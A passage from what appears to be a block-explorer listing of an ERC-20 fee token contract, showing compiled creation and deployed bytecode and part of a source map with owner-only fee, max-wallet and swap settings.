f546001600160a01b031633146109715760405162461bcd60e51b815260040161087790611b07565b6014839055601582905560168190556109948161098e8585610f8a565b90610f8a565b600f819055601410156109a5575f80fd5b505050565b5f6109b6848484610fe8565b50610a088433610a0385604051806060016040528060288152602001611c83602891396001600160a01b038a165f9081526006602090815260408083203384529091529020549190611437565b610e67565b5060015b9392505050565b5f546001600160a01b03163314610a3c5760405162461bcd60e51b815260040161087790611b07565b601183905560128290556013819055610a598161098e8585610f8a565b600e819055600a10156109a5575f80fd5b5f546001600160a01b03163314610a935760405162461bcd60e51b815260040161087790611b07565b601d8054911515600160b81b0260ff60b81b19909216919091179055565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03165f90815260056020526040812054601754610af59161146f565b905090565b5f546001600160a01b03163314610b235760405162461bcd60e51b815260040161087790611b07565b6001600160a01b03919091165f908152600860205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610b765760405162461bcd60e51b815260040161087790611b07565b6064601754610b859190611b88565b811015610be55760405162461bcd60e51b815260206004820152602860248201527f4d61782077616c6c65742073686f756c64206265206d6f7265206f7220657175604482015267616c20746f20312560c01b6064820152608401610877565b601855565b5f546001600160a01b03163314610c135760405162461bcd60e51b815260040161087790611b07565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6060600380546108b190611b3c565b5f546001600160a01b03163314610c935760405162461bcd60e51b815260040161087790611b07565b601d8054911515600160b01b0260ff60b01b19909216919091179055565b5f610a08338484610fe8565b5f546001600160a01b03163314610ce65760405162461bcd60e51b815260040161087790611b07565b600b839055600c829055600d819055610d038161098e8585610f8a565b601055505050565b5f546001600160a01b03163314610d345760405162461bcd60e51b815260040161087790611b07565b601d8054911515600160a81b0260ff60a81b19909216919091179055565b5f546001600160a01b03163314610d7b5760405162461bcd60e51b815260040161087790611b07565b601955565b5f546001600160a01b03163314610da95760405162461bcd60e51b815260040161087790611b07565b6001600160a01b038116610e0e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610877565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ec95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610877565b6001600160a01b038216610f2a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610877565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f80610f968385611ba7565b905083811015610a0c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610877565b5f6001600160a01b03841661104d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610877565b6001600160a01b0383166110af5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610877565b601d54600160a01b900460ff16156110d3576110cc8484846114b0565b9050610a0c565b6001600160a01b0384165f9081526009602052604090205460ff1615801561111357506001600160a01b0383165f9081526009602052604090205460ff16155b1561117b5760185482111561117b5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610877565b305f90815260056020526040902054601a54811080159081906111a85750601d54600160a01b900460ff16155b80156111cc57506001600160a01b0386165f9081526007602052604090205460ff16155b80156111ef57506001600160a01b0385165f908152600a602052604090205460ff165b80156112045750601d54600160a81b900460ff165b80156112115750601a5484115b1561123757601d54600160b01b900460ff161561122e57601a5491505b61123782611593565b5f806112448888886115d8565b915091505f8682146112565730611258565b885b905081156112de576001600160a01b0381165f908152600560205260409020546112829083610f8a565b6001600160a01b038083165f8181526005602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112d59086815260200190565b60405180910390a35b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038c165f9081526005909152919091205461132f918990611437565b6001600160a01b038a165f90815260056020526040902055601d54600160b81b900460ff16801561137857506001600160a01b0388165f9081526008602052604090205460ff16155b156113ac576019546113a28461098e8b6001600160a01b03165f9081526005602052604090205490565b11156113ac575f80fd5b6001600160a01b0388165f908152600560205260409020546113ce9084610f8a565b6001600160a01b03808a165f8181526005602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114219087815260200190565b60405180910390a3600195505050505050610a0c565b5f818484111561145a5760405162461bcd60e51b8152600401610877919061197d565b505f6114668486611bba565b95945050505050565b5f610a0c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611437565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f908152600590915291822054611500918490611437565b6001600160a01b038086165f90815260056020526040808220939093559085168152205461152e9083610f8a565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115819086815260200190565b60405180910390a35060019392505050565b601d805460ff60a01b1916600160a01b1790556115af816116e2565b601b5447906115c7906001600160a01b031682611832565b5050601d805460ff60a01b19169055565b6001600160a01b0383165f908152600760205260408120548190839060ff16801561160c5750601d54600160a81b900460ff165b1561161b5783925090506116da565b6001600160a01b0386165f908152600a602052604090205460ff16156116625761165b6064611655600e548761186590919063ffffffff16565b906118e3565b905061169f565b6001600160a01b0385165f908152600a602052604090205460ff161561169f5761169c6064611655600f548761186590919063ffffffff16565b90505b6001600160a01b0386165f9081526007602052604090205460ff16156116cb57835f92509250506116da565b6116d5848261146f565b925090505b935093915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061171557611715611bcd565b6001600160a01b03928316602091820292909201810191909152601c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561176c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117909190611be1565b816001815181106117a3576117a3611bcd565b6001600160a01b039283166020918202929092010152601c546117c99130911684610e67565b601c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906118019085905f90869030904290600401611bfc565b5f604051808303815f87803b158015611818575f80fd5b505af115801561182a573d5f803e3d5ffd5b505050505050565b6040516001600160a01b0383169082156108fc029083905f818181858888f193505050501580156109a5573d5f803e3d5ffd5b5f825f0361187457505f610942565b5f61187f8385611c6b565b90508261188c8583611b88565b14610a0c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610877565b5f610a0c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152505f818361193f5760405162461bcd60e51b8152600401610877919061197d565b505f6114668486611b88565b6001600160a01b038116811461195f575f80fd5b50565b5f60208284031215611972575f80fd5b8135610a0c8161194b565b5f6020808352835180828501525f5b818110156119a85785810183015185820160400152820161198c565b505f604082860101526040601f19601f8301168501019250505092915050565b5f80604083850312156119d9575f80fd5b82356119e48161194b565b946020939093013593505050565b5f805f60608486031215611a04575f80fd5b505081359360208301359350604090920135919050565b5f805f60608486031215611a2d575f80fd5b8335611a388161194b565b92506020840135611a488161194b565b929592945050506040919091013590565b80358015158114611a68575f80fd5b919050565b5f60208284031215611a7d575f80fd5b610a0c82611a59565b5f8060408385031215611a97575f80fd5b8235611aa28161194b565b9150611ab060208401611a59565b90509250929050565b5f60208284031215611ac9575f80fd5b5035919050565b5f8060408385031215611ae1575f80fd5b8235611aec8161194b565b91506020830135611afc8161194b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680611b5057607f821691505b602082108103611b6e57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b5f82611ba257634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561094257610942611b74565b8181038181111561094257610942611b74565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611bf1575f80fd5b8151610a0c8161194b565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611c4a5784516001600160a01b031683529383019391830191600101611c25565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761094257610942611b7456fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122057c326600a75b1b6b5f755dca3a7413ef967a28f4813e29c4d473a10ab09aa5064736f6c63430008150033

Deployed Bytecode

0x608060405260043610610283575f3560e01c806382eefb4311610155578063c49b9a80116100be578063f0cd1dac11610078578063f0cd1dac14610798578063f1d5f517146107ad578063f2fde38b146107cc578063f872858a146107eb578063f8b45b051461080b578063fabf706314610820575f80fd5b8063c49b9a80146106b3578063c78a789b146106d2578063c816841b14610700578063d76e26a31461071f578063da00097d14610734578063dd62ed3e14610754575f80fd5b80639e3fa3231161010f5780639e3fa32314610617578063a08e671f1461062c578063a5d69d1f14610641578063a9059cbb14610660578063b6c3af341461067f578063c2d4640e14610694575f80fd5b806382eefb431461058a5780638c0b5e221461059f5780638da5cb5b146105b45780638f03aad5146105d0578063914eb66a146105ef57806395d89b4114610603575f80fd5b80632df67109116101f7578063565cec38116101b1578063565cec38146104e357806357e6adcb146104f8578063646d470014610517578063661b6e361461052c578063705f9d741461054157806370a0823114610556575f80fd5b80632df671091461041c5780632f0a5fd414610431578063313ce567146104465780634a74bb0214610467578063526012e81461048757806355324fa9146104b5575f80fd5b806318160ddd1161024857806318160ddd1461036e5780631d865c301461038c57806323b872dd146103ab57806325519cf2146103ca5780632563ae83146103e95780632b112e4914610408575f80fd5b806303fd2a451461028e57806304b8d329146102de57806306fdde03146102ff578063095ea7b3146103205780631694505e1461034f575f80fd5b3661028a57005b5f80fd5b348015610299575f80fd5b506102c17f000000000000000000000000000000000000000000000000000000000000dead81565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156102e9575f80fd5b506102fd6102f8366004611962565b61084e565b005b34801561030a575f80fd5b506103136108a2565b6040516102d5919061197d565b34801561032b575f80fd5b5061033f61033a3660046119c8565b610932565b60405190151581526020016102d5565b34801561035a575f80fd5b50601c546102c1906001600160a01b031681565b348015610379575f80fd5b506017545b6040519081526020016102d5565b348015610397575f80fd5b506102fd6103a63660046119f2565b610948565b3480156103b6575f80fd5b5061033f6103c5366004611a1b565b6109aa565b3480156103d5575f80fd5b506102fd6103e43660046119f2565b610a13565b3480156103f4575f80fd5b506102fd610403366004611a6d565b610a6a565b348015610413575f80fd5b5061037e610ab1565b348015610427575f80fd5b5061037e60125481565b34801561043c575f80fd5b5061037e60145481565b348015610451575f80fd5b5060045460405160ff90911681526020016102d5565b348015610472575f80fd5b50601d5461033f90600160a81b900460ff1681565b348015610492575f80fd5b5061033f6104a1366004611962565b60086020525f908152604090205460ff1681565b3480156104c0575f80fd5b5061033f6104cf366004611962565b600a6020525f908152604090205460ff1681565b3480156104ee575f80fd5b5061037e600c5481565b348015610503575f80fd5b506102fd610512366004611a86565b610afa565b348015610522575f80fd5b5061037e60165481565b348015610537575f80fd5b5061037e60155481565b34801561054c575f80fd5b5061037e60135481565b348015610561575f80fd5b5061037e610570366004611962565b6001600160a01b03165f9081526005602052604090205490565b348015610595575f80fd5b5061037e600f5481565b3480156105aa575f80fd5b5061037e60185481565b3480156105bf575f80fd5b505f546001600160a01b03166102c1565b3480156105db575f80fd5b506102fd6105ea366004611ab9565b610b4d565b3480156105fa575f80fd5b506102fd610bea565b34801561060e575f80fd5b50610313610c5b565b348015610622575f80fd5b5061037e600b5481565b348015610637575f80fd5b5061037e60105481565b34801561064c575f80fd5b506102fd61065b366004611a6d565b610c6a565b34801561066b575f80fd5b5061033f61067a3660046119c8565b610cb1565b34801561068a575f80fd5b5061037e60115481565b34801561069f575f80fd5b506102fd6106ae3660046119f2565b610cbd565b3480156106be575f80fd5b506102fd6106cd366004611a6d565b610d0b565b3480156106dd575f80fd5b5061033f6106ec366004611962565b60096020525f908152604090205460ff1681565b34801561070b575f80fd5b50601d546102c1906001600160a01b031681565b34801561072a575f80fd5b5061037e600d5481565b34801561073f575f80fd5b50601d5461033f90600160b01b900460ff1681565b34801561075f575f80fd5b5061037e61076e366004611ad0565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b3480156107a3575f80fd5b5061037e600e5481565b3480156107b8575f80fd5b506102fd6107c7366004611ab9565b610d52565b3480156107d7575f80fd5b506102fd6107e6366004611962565b610d80565b3480156107f6575f80fd5b50601d5461033f90600160b81b900460ff1681565b348015610816575f80fd5b5061037e60195481565b34801561082b575f80fd5b5061033f61083a366004611962565b60076020525f908152604090205460ff1681565b5f546001600160a01b031633146108805760405162461bcd60e51b815260040161087790611b07565b60405180910390fd5b601b80546001600160a01b0319166001600160a01b0392909216919091179055565b6060600280546108b190611b3c565b80601f01602080910402602001604051908101604052809291908181526020018280546108dd90611b3c565b80156109285780601f106108ff57610100808354040283529160200191610928565b820191905f5260205f20905b81548152906001019060200180831161090b57829003601f168201915b5050505050905090565b5f61093e338484610e67565b5060015b92915050565b5f546001600160a01b031633146109715760405162461bcd60e51b815260040161087790611b07565b6014839055601582905560168190556109948161098e8585610f8a565b90610f8a565b600f819055601410156109a5575f80fd5b505050565b5f6109b6848484610fe8565b50610a088433610a0385604051806060016040528060288152602001611c83602891396001600160a01b038a165f9081526006602090815260408083203384529091529020549190611437565b610e67565b5060015b9392505050565b5f546001600160a01b03163314610a3c5760405162461bcd60e51b815260040161087790611b07565b601183905560128290556013819055610a598161098e8585610f8a565b600e819055600a10156109a5575f80fd5b5f546001600160a01b03163314610a935760405162461bcd60e51b815260040161087790611b07565b601d8054911515600160b81b0260ff60b81b19909216919091179055565b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b03165f90815260056020526040812054601754610af59161146f565b905090565b5f546001600160a01b03163314610b235760405162461bcd60e51b815260040161087790611b07565b6001600160a01b03919091165f908152600860205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610b765760405162461bcd60e51b815260040161087790611b07565b6064601754610b859190611b88565b811015610be55760405162461bcd60e51b815260206004820152602860248201527f4d61782077616c6c65742073686f756c64206265206d6f7265206f7220657175604482015267616c20746f20312560c01b6064820152608401610877565b601855565b5f546001600160a01b03163314610c135760405162461bcd60e51b815260040161087790611b07565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6060600380546108b190611b3c565b5f546001600160a01b03163314610c935760405162461bcd60e51b815260040161087790611b07565b601d8054911515600160b01b0260ff60b01b19909216919091179055565b5f610a08338484610fe8565b5f546001600160a01b03163314610ce65760405162461bcd60e51b815260040161087790611b07565b600b839055600c829055600d819055610d038161098e8585610f8a565b601055505050565b5f546001600160a01b03163314610d345760405162461bcd60e51b815260040161087790611b07565b601d8054911515600160a81b0260ff60a81b19909216919091179055565b5f546001600160a01b03163314610d7b5760405162461bcd60e51b815260040161087790611b07565b601955565b5f546001600160a01b03163314610da95760405162461bcd60e51b815260040161087790611b07565b6001600160a01b038116610e0e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610877565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ec95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610877565b6001600160a01b038216610f2a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610877565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f80610f968385611ba7565b905083811015610a0c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610877565b5f6001600160a01b03841661104d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610877565b6001600160a01b0383166110af5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610877565b601d54600160a01b900460ff16156110d3576110cc8484846114b0565b9050610a0c565b6001600160a01b0384165f9081526009602052604090205460ff1615801561111357506001600160a01b0383165f9081526009602052604090205460ff16155b1561117b5760185482111561117b5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610877565b305f90815260056020526040902054601a54811080159081906111a85750601d54600160a01b900460ff16155b80156111cc57506001600160a01b0386165f9081526007602052604090205460ff16155b80156111ef57506001600160a01b0385165f908152600a602052604090205460ff165b80156112045750601d54600160a81b900460ff165b80156112115750601a5484115b1561123757601d54600160b01b900460ff161561122e57601a5491505b61123782611593565b5f806112448888886115d8565b915091505f8682146112565730611258565b885b905081156112de576001600160a01b0381165f908152600560205260409020546112829083610f8a565b6001600160a01b038083165f8181526005602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112d59086815260200190565b60405180910390a35b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038c165f9081526005909152919091205461132f918990611437565b6001600160a01b038a165f90815260056020526040902055601d54600160b81b900460ff16801561137857506001600160a01b0388165f9081526008602052604090205460ff16155b156113ac576019546113a28461098e8b6001600160a01b03165f9081526005602052604090205490565b11156113ac575f80fd5b6001600160a01b0388165f908152600560205260409020546113ce9084610f8a565b6001600160a01b03808a165f8181526005602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114219087815260200190565b60405180910390a3600195505050505050610a0c565b5f818484111561145a5760405162461bcd60e51b8152600401610877919061197d565b505f6114668486611bba565b95945050505050565b5f610a0c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611437565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f908152600590915291822054611500918490611437565b6001600160a01b038086165f90815260056020526040808220939093559085168152205461152e9083610f8a565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115819086815260200190565b60405180910390a35060019392505050565b601d805460ff60a01b1916600160a01b1790556115af816116e2565b601b5447906115c7906001600160a01b031682611832565b5050601d805460ff60a01b19169055565b6001600160a01b0383165f908152600760205260408120548190839060ff16801561160c5750601d54600160a81b900460ff165b1561161b5783925090506116da565b6001600160a01b0386165f908152600a602052604090205460ff16156116625761165b6064611655600e548761186590919063ffffffff16565b906118e3565b905061169f565b6001600160a01b0385165f908152600a602052604090205460ff161561169f5761169c6064611655600f548761186590919063ffffffff16565b90505b6001600160a01b0386165f9081526007602052604090205460ff16156116cb57835f92509250506116da565b6116d5848261146f565b925090505b935093915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061171557611715611bcd565b6001600160a01b03928316602091820292909201810191909152601c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561176c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117909190611be1565b816001815181106117a3576117a3611bcd565b6001600160a01b039283166020918202929092010152601c546117c99130911684610e67565b601c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906118019085905f90869030904290600401611bfc565b5f604051808303815f87803b158015611818575f80fd5b505af115801561182a573d5f803e3d5ffd5b505050505050565b6040516001600160a01b0383169082156108fc029083905f818181858888f193505050501580156109a5573d5f803e3d5ffd5b5f825f0361187457505f610942565b5f61187f8385611c6b565b90508261188c8583611b88565b14610a0c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610877565b5f610a0c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152505f818361193f5760405162461bcd60e51b8152600401610877919061197d565b505f6114668486611b88565b6001600160a01b038116811461195f575f80fd5b50565b5f60208284031215611972575f80fd5b8135610a0c8161194b565b5f6020808352835180828501525f5b818110156119a85785810183015185820160400152820161198c565b505f604082860101526040601f19601f8301168501019250505092915050565b5f80604083850312156119d9575f80fd5b82356119e48161194b565b946020939093013593505050565b5f805f60608486031215611a04575f80fd5b505081359360208301359350604090920135919050565b5f805f60608486031215611a2d575f80fd5b8335611a388161194b565b92506020840135611a488161194b565b929592945050506040919091013590565b80358015158114611a68575f80fd5b919050565b5f60208284031215611a7d575f80fd5b610a0c82611a59565b5f8060408385031215611a97575f80fd5b8235611aa28161194b565b9150611ab060208401611a59565b90509250929050565b5f60208284031215611ac9575f80fd5b5035919050565b5f8060408385031215611ae1575f80fd5b8235611aec8161194b565b91506020830135611afc8161194b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680611b5057607f821691505b602082108103611b6e57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b5f82611ba257634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561094257610942611b74565b8181038181111561094257610942611b74565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611bf1575f80fd5b8151610a0c8161194b565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611c4a5784516001600160a01b031683529383019391830191600101611c25565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761094257610942611b7456fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122057c326600a75b1b6b5f755dca3a7413ef967a28f4813e29c4d473a10ab09aa5064736f6c63430008150033

Deployed Bytecode Sourcemap

6125:11192:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7511:74;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;7511:74:0;;;;;;;;11929:113;;;;;;;;;;-1:-1:-1;11929:113:0;;;;;:::i;:::-;;:::i;:::-;;9247:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;9910:161::-;;;;;;;;;;-1:-1:-1;9910:161:0;;;;;:::i;:::-;;:::i;:::-;;;1648:14:1;;1641:22;1623:41;;1611:2;1596:18;9910:161:0;1483:187:1;7594:41:0;;;;;;;;;;-1:-1:-1;7594:41:0;;;;-1:-1:-1;;;;;7594:41:0;;;9524:100;;;;;;;;;;-1:-1:-1;9604:12:0;;9524:100;;;2055:25:1;;;2043:2;2028:18;9524:100:0;1909:177:1;10841:418:0;;;;;;;;;;-1:-1:-1;10841:418:0;;;;;:::i;:::-;;:::i;14567:313::-;;;;;;;;;;-1:-1:-1;14567:313:0;;;;;:::i;:::-;;:::i;10424:409::-;;;;;;;;;;-1:-1:-1;10424:409:0;;;;;:::i;:::-;;:::i;12398:113::-;;;;;;;;;;-1:-1:-1;12398:113:0;;;;;:::i;:::-;;:::i;12656:121::-;;;;;;;;;;;;;:::i;7023:37::-;;;;;;;;;;;;;;;;7112;;;;;;;;;;;;;;;;9433:83;;;;;;;;;;-1:-1:-1;9499:9:0;;9433:83;;9499:9;;;;3365:36:1;;3353:2;3338:18;9433:83:0;3223:184:1;7709:41:0;;;;;;;;;;-1:-1:-1;7709:41:0;;;;-1:-1:-1;;;7709:41:0;;;;;;6530:55;;;;;;;;;;-1:-1:-1;6530:55:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6650:48;;;;;;;;;;-1:-1:-1;6650:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6749:36;;;;;;;;;;;;;;;;11671:141;;;;;;;;;;-1:-1:-1;11671:141:0;;;;;:::i;:::-;;:::i;7201:39::-;;;;;;;;;;;;;;;;7156:38;;;;;;;;;;;;;;;;7067;;;;;;;;;;;;;;;;9632:119;;;;;;;;;;-1:-1:-1;9632:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;9725:18:0;9698:7;9725:18;;;:9;:18;;;;;;;9632:119;6882:38;;;;;;;;;;;;;;;;7307:41;;;;;;;;;;;;;;;;3458:79;;;;;;;;;;-1:-1:-1;3496:7:0;3523:6;-1:-1:-1;;;;;3523:6:0;3458:79;;12179:211;;;;;;;;;;-1:-1:-1;12179:211:0;;;;;:::i;:::-;;:::i;3683:145::-;;;;;;;;;;;;;:::i;9338:87::-;;;;;;;;;;;;;:::i;6707:35::-;;;;;;;;;;;;;;;;6927:44;;;;;;;;;;;;;;;;12519:125;;;;;;;;;;-1:-1:-1;12519:125:0;;;;;:::i;:::-;;:::i;14392:167::-;;;;;;;;;;-1:-1:-1;14392:167:0;;;;;:::i;:::-;;:::i;6980:36::-;;;;;;;;;;;;;;;;11271:392;;;;;;;;;;-1:-1:-1;11271:392:0;;;;;:::i;:::-;;:::i;12050:117::-;;;;;;;;;;-1:-1:-1;12050:117:0;;;;;:::i;:::-;;:::i;6592:51::-;;;;;;;;;;-1:-1:-1;6592:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7642:26;;;;;;;;;;-1:-1:-1;7642:26:0;;;;-1:-1:-1;;;;;7642:26:0;;;6792:37;;;;;;;;;;;;;;;;7757:45;;;;;;;;;;-1:-1:-1;7757:45:0;;;;-1:-1:-1;;;7757:45:0;;;;;;9759:143;;;;;;;;;;-1:-1:-1;9759:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;9867:18:0;;;9840:7;9867:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9759:143;6838:37;;;;;;;;;;;;;;;;11820:101;;;;;;;;;;-1:-1:-1;11820:101:0;;;;;:::i;:::-;;:::i;3836:244::-;;;;;;;;;;-1:-1:-1;3836:244:0;;;;;:::i;:::-;;:::i;7809:35::-;;;;;;;;;;-1:-1:-1;7809:35:0;;;;-1:-1:-1;;;7809:35:0;;;;;;7355:47;;;;;;;;;;;;;;;;6469:54;;;;;;;;;;-1:-1:-1;6469:54:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;11929:113;3592:6;;-1:-1:-1;;;;;3592:6:0;603:10;3592:22;3584:67;;;;-1:-1:-1;;;3584:67:0;;;;;;;:::i;:::-;;;;;;;;;12003:9:::1;:31:::0;;-1:-1:-1;;;;;;12003:31:0::1;-1:-1:-1::0;;;;;12003:31:0;;;::::1;::::0;;;::::1;::::0;;11929:113::o;9247:83::-;9284:13;9317:5;9310:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9247:83;:::o;9910:161::-;9985:4;10002:39;603:10;10025:7;10034:6;10002:8;:39::i;:::-;-1:-1:-1;10059:4:0;9910:161;;;;;:::o;10841:418::-;3592:6;;-1:-1:-1;;;;;3592:6:0;603:10;3592:22;3584:67;;;;-1:-1:-1;;;3584:67:0;;;;;;;:::i;:::-;10970:18:::1;:36:::0;;;11017:18:::1;:36:::0;;;11064:20:::1;:40:::0;;;11138:68:::1;11087:17:::0;11138:42:::1;10991:15:::0;11038;11138:22:::1;:42::i;:::-;:46:::0;::::1;:68::i;:::-;11117:18;:89:::0;;;11248:2:::1;-1:-1:-1::0;11226:24:0::1;11217:34;;;::::0;::::1;;10841:418:::0;;;:::o;14567:313::-;14665:4;14682:36;14692:6;14700:9;14711:6;14682:9;:36::i;:::-;-1:-1:-1;14729:121:0;14738:6;603:10;14760:89;14798:6;14760:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14760:19:0;;;;;;:11;:19;;;;;;;;603:10;14760:33;;;;;;;;;;:37;:89::i;:::-;14729:8;:121::i;:::-;-1:-1:-1;14868:4:0;14567:313;;;;;;:::o;10424:409::-;3592:6;;-1:-1:-1;;;;;3592:6:0;603:10;3592:22;3584:67;;;;-1:-1:-1;;;3584:67:0;;;;;;;:::i;:::-;10552:17:::1;:35:::0;;;10598:17:::1;:35:::0;;;10644:19:::1;:39:::0;;;10716:65:::1;10666:17:::0;10716:40:::1;10572:15:::0;10618;10716:21:::1;:40::i;:65::-;10696:17;:85:::0;;;10822:2:::1;-1:-1:-1::0;10801:23:0::1;10792:33;;;::::0;::::1;12398:113:::0;3592:6;;-1:-1:-1;;;;;3592:6:0;603:10;3592:22;3584:67;;;;-1: